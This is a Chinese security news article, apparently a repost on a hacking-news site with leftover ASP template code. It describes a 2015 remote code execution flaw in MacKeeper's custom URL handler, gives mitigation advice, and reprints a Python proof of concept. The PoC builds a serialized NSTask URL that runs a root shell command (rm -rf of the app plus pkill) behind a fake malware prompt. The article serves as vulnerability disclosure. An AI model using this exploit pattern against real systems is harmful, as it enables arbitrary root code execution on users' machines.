<% dim ModuleName,InfoID,ChannelShortName,CorrelativeArticle,InstallDir,ChannelDir,Keyword,PageTitle,ArticleIntro,Articlecontent Keyword=stripHTML("MacKeeper,执行漏洞") PageTitle=stripHTML("Mac下的360“MacKeeper”曝任意代码执行漏洞(附POC)") ArticleIntro=stripHTML("引导置信Mac用户一定看过Mackeeper的广告——这是一款Mac OS零碎优化软件,集杀毒、加密、数据备份、零碎清算和软件卸载于一身,可以以为是Mac下的360。") Articlecontent=stripHTML("  相信Mac用户一定看过Mackeeper的广告——这是一款Mac OS系统优化软件,集杀毒、加密、数据备份、系统清理和软件卸载于一身,可以认为是Mac下的3…") ModuleName = stripHTML("exploits") InfoID = stripHTML("197865") ChannelShortName=stripHTML("漏洞") InstallDir=stripHTML("http://www.77169.com/") ChannelDir=stripHTML("exploits") %> Mac下的360“MacKeeper”曝任意代码执行漏洞(附POC) - 华盟网 - http://www.77169.com
您现在的位置: 华盟网 >> 漏洞 >> 最新漏洞 >> 其它漏洞 >> 正文

[组图]Mac下的360“MacKeeper”曝任意代码执行漏洞(附POC)

2015/5/11 作者:Conermx 来源: FreeBuf
导读 <% if len(ArticleIntro)<3 then Response.Write Articlecontent 'Response.Write "Articlecontent" else Response.Write ArticleIntro 'Response.Write "ArticleIntro" end if %>

 

相信Mac用户一定看过Mackeeper的广告——这是一款Mac OS系统优化软件,集杀毒、加密、数据备份、系统清理和软件卸载于一身,可以认为是Mac下的360。

5月7日,Mackeeper被发现存在严重的安全漏洞,在其处理URL的代码中存在远程代码执行漏洞,当用户访问被恶意构造的网页即可触发高危漏洞。

漏洞描述

安全研究人员Braden Thomas发现了此漏洞,当用户访问恶意构造的网站的时候,几乎不需要做什么交互,就可以以 最高系统权限Root 执行任意代码,他还公布了POC(漏洞验证程序)来演示用户用Safari访问恶意构造的网站的时候可以执行任意代码,在POC中执行的代码是卸载MacKeeper。漏洞的原因是MacKeeper使用自定义URL结构执行命令的时候没有对输入数据做安全检查。

如果MacKeeper在正常操作的时候已经提示用户输入密码,那么在以root权限执行任意代码的时候是不会提示用户输入密码的。如果用户之前没有通过认证,那么MacKeeper会提示用户输入账号密码,然而,漏洞利用正是这些用户输入的字符,所以用户可能会感觉到漏洞利用的过程。

苹果允许OSX及iOS平台上的app自定义URL的结构,这些URL可以注册系统事件,来掉起系统上的其他APP处理当前URL ,正常情况下,这种功能是用来自定义一些协议来执行指定操作(比如在iOS上点击一个电话号码的链接的时候,系统会询问用户是否要拨打电话,点击一个邮件地址的时候,系统会启动邮件APP) 苹果系统内置的APP在代码中明确告诉开发者需要对输入的自定义URL做安全检查,以防止在处理URL的时候出现异常。另外,苹果还在官方文档中指出对输入数据做安全检查的重要性。

影响范围

由于这个0day在最新的MacKeeper(MacKeeper 3.4)中也存在,所以很多用户都受影响,在之前的一个报道中显示,有2千万的用户都受影响。MacKeeper 在Mac社区中是一个受争议的应用,用户抱怨其频繁弹窗频繁推送广告。

如今该漏洞的POC已经公开,因此MacKeeper用户很容易到攻击

POC:

import sys,base64
from Foundation import *
RUN_CMD = "rm -rf /Applications/MacKeeper.app;pkill -9 -a MacKeeper"
d = NSMutableData.data()
a = NSArchiver.alloc().initForWritingWithMutableData_(d)
a.encodeValueOfObjCType_at_("@",NSString.stringWithString_("NSTask"))
a.encodeValueOfObjCType_at_("@",NSDictionary.dictionaryWithObjectsAndKeys_(NSString.stringWithString_("/bin/sh"),"LAUNCH_PATH",NSArray.arrayWithObjects_(NSString.stringWithString_("-c"),NSString.stringWithString_(RUN_CMD),None),"ARGUMENTS",NSString.stringWithString_("Your computer has malware that needs to be removed."),"PROMPT",None))
print "com-zeobit-command:///i/ZBAppController/performActionWithHelperTask:arguments:/"+base64.b64encode(d)

https://twitter.com/drspringfield/status/596316000385167361

安全建议

MacKeeper用户应该立即更新到最新版本。默认情况下,MacKeeper会自动检查更新,当MacKeeper弹出升级提示的时候,点击ok就可以安装更新。

当然用户可以通过一些方式来避免攻击。在OS X上,点击Safari浏览器中的一个自定义链接,会调用系统中指定的应用程序来处理对应的URL,在其他浏览器中,比如chrome浏览器,会提示用户是否同意打开该自有协议的链接。

对于技术小白来说,尽量使用Safari以外的浏览器,这样,在执行任意代码之前,系统会弹出提示。技术大拿可以在MacKeeper的Info.plist文件中移除操作URL相关的代码。